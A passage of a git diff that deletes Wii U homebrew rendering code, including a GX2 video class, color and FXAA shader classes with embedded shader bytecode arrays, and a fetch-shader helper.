GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_REPLACE, - GX2_COMPARE_FUNC_ALWAYS, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_REPLACE); - } - else - { - GX2SetStencilMask(0xff, 0xff, 0xff, 0xff, 0xff, 0xff); - GX2SetDepthStencilControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL, GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_NEVER, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, - GX2_COMPARE_FUNC_NEVER, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP, GX2_STENCIL_FUNCTION_KEEP); - } - } - - void drcDrawDone(void) { - //! on DRC we do a hardware AA because FXAA does not look good - //renderFXAA(&drcAaTexture, &aaSampler); - GX2CopyColorBufferToScanBuffer(&drcColorBuffer, GX2_SCAN_TARGET_DRC); - } - - void tvDrawDone(void) { - renderFXAA(&tvAaTexture, &aaSampler); - GX2CopyColorBufferToScanBuffer(&tvColorBuffer, GX2_SCAN_TARGET_TV); - GX2SwapScanBuffers(); - GX2Flush(); - } - - void waitForVSync(void) { - GX2WaitForVsync(); - frameCount++; - } - - void tvEnable(bool bEnable) { - if(tvEnabled != bEnable) - { - GX2SetTVEnable(bEnable ? GX2_ENABLE : GX2_DISABLE); - tvEnabled = bEnable; - } - } - void drcEnable(bool bEnable) { - if(drcEnabled != bEnable) - { - GX2SetDRCEnable(bEnable ? GX2_ENABLE : GX2_DISABLE); - drcEnabled = bEnable; - } - } - - u32 getFrameCount(void) const { - return frameCount; - } - - u32 getTvWidth(void) const { - return tvColorBuffer.surface.width; - } - u32 getTvHeight(void) const { - return tvColorBuffer.surface.height; - } - - u32 getDrcWidth(void) const { - return drcColorBuffer.surface.width; - } - u32 getDrcHeight(void) const { - return drcColorBuffer.surface.height; - } - - const glm::mat4 & getProjectionMtx(void) const { - return projectionMtx; - } - const glm::mat4 & getViewMtx(void) const { - return viewMtx; - } - - f32 getWidthScaleFactor(void) const { - return widthScaleFactor; - } - f32 getHeightScaleFactor(void) const { - return heightScaleFactor; - } - f32 getDepthScaleFactor(void) const { - return depthScaleFactor; - } - - void screenPosToWorldRay(f32 posX, f32 posY, glm::vec3 & rayOrigin, glm::vec3 & rayDirection) - { - //! normalize positions - posX = 2.0f * posX * getWidthScaleFactor(); - posY = 2.0f * posY * getHeightScaleFactor(); - - glm::vec4 rayStart(posX, posY, 0.0f, 1.0f); - glm::vec4 rayEnd(posX, posY, 1.0f, 1.0f); - - glm::mat4 IMV = glm::inverse(projectionMtx * viewMtx); - glm::vec4 rayStartWorld = IMV * rayStart; - rayStartWorld /= rayStartWorld.w; - - glm::vec4 rayEndWorld = IMV * rayEnd; - rayEndWorld /= rayEndWorld.w; - - glm::vec3 rayDirectionWorld(rayEndWorld - rayStartWorld); - rayDirectionWorld = glm::normalize(rayDirectionWorld); - - rayOrigin = glm::vec3(rayStartWorld); - rayDirection = glm::normalize(rayDirectionWorld); - } -private: - void renderFXAA(const GX2Texture * texture, const GX2Sampler *sampler); - - void *gx2CommandBuffer; - - void *tvScanBuffer; - void *drcScanBuffer; - - u32 frameCount; - f32 widthScaleFactor; - f32 heightScaleFactor; - f32 depthScaleFactor; - - bool tvEnabled; - bool drcEnabled; - - GX2ColorBuffer tvColorBuffer; - GX2DepthBuffer tvDepthBuffer; - GX2ColorBuffer drcColorBuffer; - GX2DepthBuffer drcDepthBuffer; - - GX2ContextState *tvContextState; - GX2ContextState *drcContextState; - - GX2ContextState *currContextState; - GX2ColorBuffer *currColorBuffer; - GX2DepthBuffer *currDepthBuffer; - - GX2Texture tvAaTexture; - GX2Sampler aaSampler; - - glm::mat4 projectionMtx; - glm::mat4 viewMtx; - glm::vec2 resolution; -}; - -#endif // __GX2_VIDEO_H_ diff --git a/src/video/shaders/ColorShader.cpp b/src/video/shaders/ColorShader.cpp deleted file mode 100644 index bc4a050..0000000 --- a/src/video/shaders/ColorShader.cpp +++ /dev/null @@ -1,167 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include -#include "ColorShader.h" - -static const u32 cpVertexShaderProgram[] = -{ - 0x00000000,0x00008009,0x20000000,0x000078a0, - 0x3c200000,0x88060094,0x00c00000,0x88062014, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00a11f00,0xfc00620f,0x02490001,0x80000040, - 0xfd041f80,0x900c0060,0x83f9223e,0x0000803f, - 0xfe282001,0x10000040,0xfe001f80,0x00080060, - 0xfeac9f80,0xfd00624f,0xdb0f49c0,0xdb0fc940, - 0xfea81f80,0x9000e02f,0x83f9223e,0x00000000, - 0xfe041f80,0x00370000,0xffa01f00,0x80000000, - 0xff101f00,0x800c0020,0x7f041f80,0x80370000, - 0x0000103f,0x00000000,0x02c51f00,0x80000000, - 0xfea41f00,0x80000020,0xffa09f00,0x80000040, - 0xff001f80,0x800c0060,0x398ee33f,0x0000103f, - 0x02c41f00,0x9000e00f,0x02c59f01,0x80000020, - 0xfea81f00,0x80000040,0x02c19f80,0x9000e06f, - 0x398ee33f,0x00000000,0x02c11f01,0x80000000, - 0x02c49f80,0x80000060,0x02e08f01,0xfe0c620f, - 0x02c01f80,0x7f00622f,0xfe242000,0x10000000, - 0xfe20a080,0x10000020,0xf2178647,0x49c0e9fb, - 0xfbbdb2ab,0x768ac733 -}; - -static const u32 cpVertexShaderRegs[] = { - 0x00000103,0x00000000,0x00000000,0x00000001, - 0xffffff00,0xffffffff,0xffffffff,0xffffffff, - 0xffffffff,0xffffffff,0xffffffff,0xffffffff, - 0xffffffff,0xffffffff,0x00000000,0xfffffffc, - 0x00000002,0x00000001,0x00000000,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x00000000,0x0000000e,0x00000010 -}; - -static const u32 cpPixelShaderProgram[] = -{ - 0x20000000,0x00000ca0,0x00000000,0x88062094, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00002000,0x90000000,0x0004a000,0x90000020, - 0x00082001,0x90000040,0x000ca081,0x90000060, - 0xbb7dd898,0x9746c59c,0xc69b00e7,0x03c36218 -}; -static const u32 cpPixelShaderRegs[] = { - 0x00000001,0x00000002,0x14000001,0x00000000, - 0x00000001,0x00000100,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x0000000f,0x00000001,0x00000010, - 0x00000000 -}; - -ColorShader * ColorShader::shaderInstance = NULL; - -ColorShader::ColorShader() - : vertexShader(cuAttributeCount) -{ - //! create pixel shader - pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); - - colorIntensityLocation = 0; - pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_SHADER_VAR_TYPE_FLOAT4, 1, colorIntensityLocation, -1 }); - - //! create vertex shader - vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); - - angleLocation = 0; - offsetLocation = 4; - scaleLocation = 8; - vertexShader.addUniformVar((GX2UniformVar){ "unf_angle", GX2_SHADER_VAR_TYPE_FLOAT, 1, angleLocation, -1 }); - vertexShader.addUniformVar((GX2UniformVar){ "unf_offset", GX2_SHADER_VAR_TYPE_FLOAT3, 1, offsetLocation, -1 }); - vertexShader.addUniformVar((GX2UniformVar){ "unf_scale", GX2_SHADER_VAR_TYPE_FLOAT3, 1, scaleLocation, -1 }); - - colorLocation = 1; - positionLocation = 0; - vertexShader.addAttribVar((GX2AttribVar){ "attr_color", GX2_SHADER_VAR_TYPE_FLOAT4, 0, colorLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_SHADER_VAR_TYPE_FLOAT3, 0, positionLocation }); - - //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32_32); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), colorLocation, 1, 0, GX2_ATTRIB_FORMAT_UNORM_8_8_8_8); - - //! create fetch shader - fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); - - //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 - positionVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, cuPositionVtxsSize); - if(positionVtxs) - { - //! position vertex structure - int i = 0; - positionVtxs[i++] = -1.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 0.0f; - positionVtxs[i++] = 1.0f; positionVtxs[i++] = -1.0f; positionVtxs[i++] = 0.0f; - positionVtxs[i++] = 1.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 0.0f; - positionVtxs[i++] = -1.0f; positionVtxs[i++] = 1.0f; positionVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, positionVtxs, cuPositionVtxsSize); - } -} - -ColorShader::~ColorShader() -{ - if(positionVtxs) - { - free(positionVtxs); - positionVtxs = NULL; - } - - delete fetchShader; - fetchShader = NULL; -} diff --git a/src/video/shaders/ColorShader.h b/src/video/shaders/ColorShader.h deleted file mode 100644 index 35c13b6..0000000 --- a/src/video/shaders/ColorShader.h +++ /dev/null @@ -1,100 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef __COLOR_SHADER_H_ -#define __COLOR_SHADER_H_ - -#include "VertexShader.h" -#include "PixelShader.h" -#include "FetchShader.h" - -class ColorShader : public Shader -{ -private: - ColorShader(); - virtual ~ColorShader(); - - static const u32 cuAttributeCount = 2; - static const u32 cuPositionVtxsSize = 4 * cuVertexAttrSize; - - static ColorShader *shaderInstance; - - FetchShader *fetchShader; - VertexShader vertexShader; - PixelShader pixelShader; - - f32 *positionVtxs; - - u32 angleLocation; - u32 offsetLocation; - u32 scaleLocation; - u32 colorLocation; - u32 colorIntensityLocation; - u32 positionLocation; -public: - static const u32 cuColorVtxsSize = 4 * cuColorAttrSize; - - static ColorShader *instance() { - if(!shaderInstance) { - shaderInstance = new ColorShader(); - } - return shaderInstance; - } - static void destroyInstance() { - if(shaderInstance) { - delete shaderInstance; - shaderInstance = NULL; - } - } - - void setShaders(void) const - { - fetchShader->setShader(); - vertexShader.setShader(); - pixelShader.setShader(); - } - - void setAttributeBuffer(const u8 * colorAttr, const f32 * posVtxs_in = NULL, const u32 & vtxCount = 0) const - { - if(posVtxs_in && vtxCount) { - VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); - VertexShader::setAttributeBuffer(1, vtxCount * cuColorAttrSize, cuColorAttrSize, colorAttr); - } - else { - VertexShader::setAttributeBuffer(0, cuPositionVtxsSize, cuVertexAttrSize, positionVtxs); - VertexShader::setAttributeBuffer(1, cuColorVtxsSize, cuColorAttrSize, colorAttr); - } - } - - void setAngle(const float & val) - { - VertexShader::setUniformReg(angleLocation, 4, &val); - } - void setOffset(const glm::vec3 & vec) - { - VertexShader::setUniformReg(offsetLocation, 4, &vec[0]); - } - void setScale(const glm::vec3 & vec) - { - VertexShader::setUniformReg(scaleLocation, 4, &vec[0]); - } - void setColorIntensity(const glm::vec4 & vec) - { - PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); - } -}; - -#endif // __COLOR_SHADER_H_ diff --git a/src/video/shaders/FXAAShader.cpp b/src/video/shaders/FXAAShader.cpp deleted file mode 100644 index 3b46733..0000000 --- a/src/video/shaders/FXAAShader.cpp +++ /dev/null @@ -1,230 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include -#include "FXAAShader.h" - -static const u32 cpVertexShaderProgram[] = -{ - 0x00000000,0x00008009,0x20000000,0x000004a0, - 0x3ca00000,0x88060094,0x00400000,0xff0f2094, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0xfd001f80,0x900c2060,0x0000803f,0x00000000, - 0xc1a229f5,0xd0eddc33,0x426618fd,0x8509cfe7 -}; - -static const u32 cpVertexShaderRegs[] = { - 0x00000102,0x00000000,0x00000000,0x00000001, - 0xffffffff,0xffffffff,0xffffffff,0xffffffff, - 0xffffffff,0xffffffff,0xffffffff,0xffffffff, - 0xffffffff,0xffffffff,0x00000000,0xfffffffe, - 0x00000001,0x00000000,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x000000ff,0x000000ff,0x000000ff, - 0x000000ff,0x00000000,0x0000000e,0x00000010 -}; - -static const u32 cpPixelShaderProgram[] = -{ - 0x20000000,0x00003ca0,0xa0000000,0x000c8080, - 0x30000000,0x000010a1,0xa8000000,0x0010c080, - 0x75000000,0x000088a0,0x00800100,0x88062094, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00241f02,0x1000e00f,0x00241f00,0x1000e02f, - 0x00201f02,0x00000040,0x00201f00,0x00000060, - 0x00011f80,0x10332060,0xff000000,0xff102200, - 0xfd001f00,0x900cc020,0xffc09f01,0x90004040, - 0xffc01f01,0x90000060,0x00051f80,0x1033a040, - 0x0000803f,0x00000000,0xffe00f00,0x90004000, - 0xff008000,0xff102220,0xffe08f00,0x90000440, - 0x010c0000,0x010c4660,0xff008080,0xff004220, - 0x01a01f00,0x00280000,0x01a49f00,0x00280020, - 0x01a81f01,0x00280040,0xfd0c1f00,0x1028e06f, - 0x00208081,0x90002000,0x8716993e,0xa245163f, - 0xd578e93d,0x00000080,0x03a01f00,0x00280000, - 0x03a49f00,0x00280020,0x03a81f01,0x1028e04f, - 0xfd0c1f00,0x00280060,0x00a40081,0x90002020, - 0x8716993e,0xa245163f,0xd578e93d,0x00000080, - 0x04a01f00,0x00280000,0x04a49f00,0x1028a02f, - 0x04a81f01,0x00280040,0xfd0c1f00,0x00280060, - 0x7fcc1f80,0x1000c02f,0x8716993e,0xa245163f, - 0xd578e93d,0x00000080,0x02a01f00,0x1028e00f, - 0x02a49f00,0x00280020,0x02a81f01,0x00280040, - 0xfd0c1f00,0x00280060,0x7fcc1f80,0x1000e02f, - 0x8716993e,0xa245163f,0xd578e93d,0x00000080, - 0x7dc41f00,0x00020000,0x7fec0f01,0x00020020, - 0x7fc81f00,0x00000040,0x7dc41f00,0x00000060, - 0x7fec0f81,0x9001802f,0xfef88f00,0x1000e00f, - 0xfedc8f00,0x00000420,0x7de40f00,0x80010040, - 0x7ec49f01,0x00001060,0xfec41f80,0x10024060, - 0xfed49f00,0x80020000,0xfe141f00,0x900c802f, - 0xfeac1f00,0x80000040,0xfec01f02,0x80020060, - 0x7cc41f81,0x90010060,0x0000003d,0x00000000, - 0xfd001f00,0x900c6000,0xfea89f00,0x80010020, - 0xfec09f81,0x00020040,0x0000803f,0x0000003e, - 0xfec41f81,0x00000020,0xfe041f80,0x00330000, - 0x7fe01f00,0x80000040,0x7ce41f80,0x80000060, - 0xfea81f00,0x80010000,0xfeac1f80,0x80010020, - 0x000000c1,0x00000000,0xfea01f00,0x00020040, - 0xfea41f80,0x00020060,0x00000041,0x00000000, - 0x05c81f01,0x9000e00f,0x01cc9f81,0x9000e06f, - 0xfeac1f00,0x01004200,0xfea01f00,0x01044220, - 0xfeac9f00,0x01002240,0xfea09f00,0x01042260, - 0xfe8c1f80,0x01008600,0xacaa2a3e,0xaaaa2abe, - 0x7f9c1f00,0x0100a200,0x7f801f00,0x01048220, - 0x7f901f80,0x0104a240,0x02080001,0x7000a00f, - 0x02000000,0x7000c04f,0x02048000,0x7000e06f, - 0x01a81f80,0x9000e00f,0xd578e93d,0x00000000, - 0x04a80001,0x1000c00f,0x04a48000,0x00000020, - 0x04a00000,0x00000040,0xfe081f00,0xe00c0060, - 0xfe0c1f80,0xe00c0000,0x01a41f00,0x7f00620f, - 0xfea89f00,0xfe0c822f,0xfea49f00,0xff00a24f, - 0x7d001f80,0xe00c0060,0xa245163f,0x0000803e, - 0x7ea01f00,0xfe0ce20f,0x01a09f80,0xfe006a4f, - 0x0000803e,0x8716993e,0xfe088001,0x9001c00f, - 0xfe488001,0x1002e44f,0xfea01f80,0x80000000, - 0xd578e93d,0x00000000,0x7ca41f00,0x00280000, - 0x7da89f00,0x00280020,0xff201f00,0x00280040, - 0xfd081f80,0x00280060,0x8716993e,0xa245163f, - 0x00000080,0x00000000,0x7fc81f00,0x80060000, - 0xfec00f80,0x80060060,0xfec09f81,0xfb80634f, - 0xfe888f00,0x7e886300,0xfea80f01,0x7f8c6320, - 0xfee80f00,0x7d806340,0xfe680080,0x06846f60, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x10000100,0x01101df0,0x00008010,0xecdfea0d, - 0x10000200,0x03101df0,0x00002050,0xecdfea0d, - 0x10000000,0x04101df0,0x00003071,0xecdfea0d, - 0x10000200,0x02101df0,0x0000b070,0xecdfea0d, - 0x10000200,0x02101df0,0x00008010,0xecdfea0d, - 0x10000100,0x00101df0,0x0000a051,0xecdfea0d, - 0x10000400,0x04101df0,0x00008010,0xecdfea0d, - 0x10000500,0x05101df0,0x00000011,0xecdfea0d, - 0x10000100,0x01101df0,0x00008010,0xecdfea0d, - 0xfe2e963a,0x0269a9a3,0x38f88096,0x400cf48b -}; -static const u32 cpPixelShaderRegs[] = { - 0x00000007,0x00000002,0x04000101,0x00000000, - 0x00000001,0x00000100,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x00000000,0x00000000,0x00000000, - 0x00000000,0x0000000f,0x00000001,0x00000010, - 0x00000000 -}; - -FXAAShader * FXAAShader::shaderInstance = NULL; - -FXAAShader::FXAAShader() - : vertexShader(cuAttributeCount) -{ - //! create pixel shader - pixelShader.setProgram(cpPixelShaderProgram, sizeof(cpPixelShaderProgram), cpPixelShaderRegs, sizeof(cpPixelShaderRegs)); - - resolutionLocation = 0; - pixelShader.addUniformVar((GX2UniformVar){ "unf_resolution", GX2_SHADER_VAR_TYPE_FLOAT2, 1, resolutionLocation, -1 }); - - samplerLocation = 0; - pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_VAR_TYPE_SAMPLER_2D, samplerLocation }); - - //! create vertex shader - vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); - - positionLocation = 0; - texCoordLocation = 1; - vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_SHADER_VAR_TYPE_FLOAT3, 0, positionLocation }); - vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_SHADER_VAR_TYPE_FLOAT2, 0, texCoordLocation }); - - //! setup attribute streams - GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32_32); - GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_FLOAT_32_32); - - //! create fetch shader - fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); - - //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 - posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); - texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); - - //! position vertex structure and texture coordinate vertex structure - int i = 0; - posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, posVtxs, ciPositionVtxsSize); - - i = 0; - texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; - texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; - texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; - texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; - GX2Invalidate(GX2_INVALIDATE_MODE_CPU_ATTRIBUTE_BUFFER, texCoords, ciTexCoordsVtxsSize); -} - -FXAAShader::~FXAAShader() -{ - if(posVtxs) - { - free(posVtxs); - posVtxs = NULL; - } - if(texCoords) - { - free(texCoords); - texCoords = NULL; - } - - delete fetchShader; - fetchShader = NULL; -} diff --git a/src/video/shaders/FXAAShader.h b/src/video/shaders/FXAAShader.h deleted file mode 100644 index 30d9c5d..0000000 --- a/src/video/shaders/FXAAShader.h +++ /dev/null @@ -1,86 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef __FXAA_SHADER_H_ -#define __FXAA_SHADER_H_ - -#include "VertexShader.h" -#include "PixelShader.h" -#include "FetchShader.h" - -class FXAAShader : public Shader -{ -public: - static FXAAShader *instance() { - if(!shaderInstance) { - shaderInstance = new FXAAShader(); - } - return shaderInstance; - } - static void destroyInstance() { - if(shaderInstance) { - delete shaderInstance; - shaderInstance = NULL; - } - } - - void setShaders(void) const - { - fetchShader->setShader(); - vertexShader.setShader(); - pixelShader.setShader(); - } - - void setAttributeBuffer() const - { - VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); - VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); - } - - void setResolution(const glm::vec2 & vec) - { - PixelShader::setUniformReg(resolutionLocation, 4, &vec[0]); - } - - void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { - GX2SetPixelTexture((GX2Texture*)texture, samplerLocation); - GX2SetPixelSampler((GX2Sampler*)sampler, samplerLocation); - } - -private: - FXAAShader(); - virtual ~FXAAShader(); - - static const u32 cuAttributeCount = 2; - static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; - static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; - - static FXAAShader *shaderInstance; - - FetchShader *fetchShader; - VertexShader vertexShader; - PixelShader pixelShader; - - f32 *posVtxs; - f32 *texCoords; - - u32 samplerLocation; - u32 positionLocation; - u32 texCoordLocation; - u32 resolutionLocation; -}; - -#endif // __FXAA_SHADER_H_ diff --git a/src/video/shaders/FetchShader.h b/src/video/shaders/FetchShader.h deleted file mode 100644 index 8152178..0000000 --- a/src/video/shaders/FetchShader.h +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef FETCH_SHADER_H -#define FETCH_SHADER_H - -#include "Shader.h" - -class FetchShader : public Shader -{ -public: - FetchShader(GX2AttribStream * attributes, u32 attrCount, GX2FetchShaderType type = GX2_FETCH_SHADER_TESSELLATION_NONE, GX2TessellationMode tess = GX2_TESSELLATION_MODE_DISCRETE) - : fetchShader(NULL) - , fetchShaderProgramm(NULL) - { - u32 shaderSize = GX2CalcFetchShaderSizeEx(attrCount, type, tess); - fetchShaderProgramm = (uint8_t*)memalign(GX2_SHADER_ALIGNMENT, shaderSize); - if(fetchShaderProgramm) - { - fetchShader = new GX2FetchShader; - GX2InitFetchShaderEx(fetchShader, 